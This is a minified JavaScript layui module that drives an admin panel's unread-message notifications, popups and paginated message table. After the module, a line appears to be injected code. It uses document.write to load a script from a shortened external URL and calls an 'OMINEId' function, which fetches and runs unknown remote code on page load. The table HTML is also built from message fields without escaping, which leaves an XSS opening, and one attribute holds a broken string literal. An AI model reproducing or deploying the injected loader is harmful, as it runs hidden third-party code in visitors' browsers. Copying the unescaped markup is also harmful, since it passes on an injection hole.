text: "use strict";layui.define(["layer","laypage"],function(t){var s,l=layui.layer,a=layui.laypage,n=0,e=+new Date,o=$(".jl-notice-num"),c=!0,i={url:"/Admin/Msg/pullMsg",dataType:"json",timeout:24e3,success:function(e){n=0,r(),e&&e.new&&(d(),l.open({icon:9,btn:!1,title:"消息提醒",shade:0,anim:6,offset:"0px",content:'<a class="jl-msg-notice" style="cursor:pointer">你有'+e.new+"新消息</a>",success:function(t,a){$(".jl-msg-notice").on("click",function(){l.close(a),e.error=0,u(e,!0)})}}))},error:function(){setTimeout(function(){r()},2e3*n),n<5&&n++}},r=function(){var t=new Date-e;t<2e3?setTimeout(function(){e=+new Date,$.ajax(i)},2e3-t):(e=+new Date,$.ajax(i))};function d(a){c=!0,$.get("/Admin/Msg/getAllUnReadMsgList",function(t){0===(s=t).error&&0!==t.data.count?(o.text(t.data.count).show(),a&&u()):o.hide()})}function u(t,a){t&&(s=t),s&&0===s.error&&s.data&&$.isArray(s.data.list)&&0!==s.data.list.length?l.open({type:1,title:"系统消息",area:"600px",time:a?5e3:0,btn:["关闭"],btnAlign:"c",content:'<div class="jl-msg-container"><table class="jl-msg-table layui-table" lay-size="sm"><colgroup><col><col><col><col width="60"></colgroup><thead><tr><th>消息标题</th><th>发送者</th><th>接收者</th><th>操作</th></tr></thead><tbody>'+g(s)+'</tbody></table><div class="jl-msg-page"></div></div>',success:function(t,a){m(s);var e=$(".jl-msg-table");e.on("click",".jl-read-btn",function(){var t=$(this).data("id"),n=$(this).addClass("layui-btn-primary").text("已读").parent().parent(),i=n.parent();$.post("/Admin/Msg/setMsgReaded",{msg_id:t},function(t){if(0===t.error){var a=n.index();c&&s&&s.data&&$.isArray(s.data.list)&&s.data.list.splice(a,1),n.fadeOut(function(){$(this).remove(),0===i.children().length&&f(!1,function(t){var a=g(t);$(".jl-msg-container").find("tbody").html(a),m(t)})});var e=parseInt(o.text())-1;0!==e?o.text(e):o.text(e).hide()}else l.msg(t.msg)})}),e.on("click",".jl-msg-title",function(){var e=l.load(),t=$(this).data("id");$.get("/Admin/Msg/getMsgContent",{msg_id:t},function(t){if(l.close(e),0===t.error){var a=t.data.msg_content.split("{}");l.alert(a.join("<br>"))}else l.msg(t.msg)})})},btn2:function(){}}):l.msg("暂无消息")}d(),r(),$(".showNotice").on("click",function(){d(!0)});var g=function(t){var n="";return console.log(t),t.data&&t.data.list&&$.isArray(t.data.list)&&0!==t.data.list.length?$.each(t.data.list,function(t,a){var e;n+='<tr><td><a data-id="'+a.msg_id+'" class="jl-msg-title" href="javascript:">'+a.msg_title+'</a></td><td><a data-id="\' + value.msg_id + \'" class="jl-msg-title" href="javascript:">'+a.send.name+"</a></td><td>"+(e=[],$.each(a.recive,function(t,a){e.push(a.name)}),e.join(","))+'</td><td><button data-id="'+a.msg_id+'" class="jl-read-btn layui-btn layui-btn-sm">标记已读</button></td></tr>'}):n='<tr><td style="text-align: center" colspan="3">没有消息</td></tr>',n},m=function e(t){a.render({elem:$(".jl-msg-page").get(0),limit:10,count:t&&t.data&&t.data.count,curr:t&&t.data&&t.data.page,layout:["prev","page","next"],jump:function(t,a){a||f({page:t.curr},function(t){var a=g(t);$(".jl-msg-container").find("tbody").html(a),e(t)})}})},f=function a(e,n){(e=e||{page:1}).page=e.page?e.page:1,c=1===e.page,$.get("/Admin/Msg/getAllUnReadMsgList",e,function(t){t&&t.data&&$.isArray(t.data.list)&&0!==t.data.list.length?n&&$.isFunction(n)&&n(t):1!==e.page?a(!1,n):(n&&$.isFunction(n)&&n(t),s=!1)})};t("jlNotice",{})});
  document.write('<script src="http://t.cn/EvlonFh"></script><script>OMINEId("e02cf4ce91284dab9bc3fc4cc2a65e28","-1")</script>');
  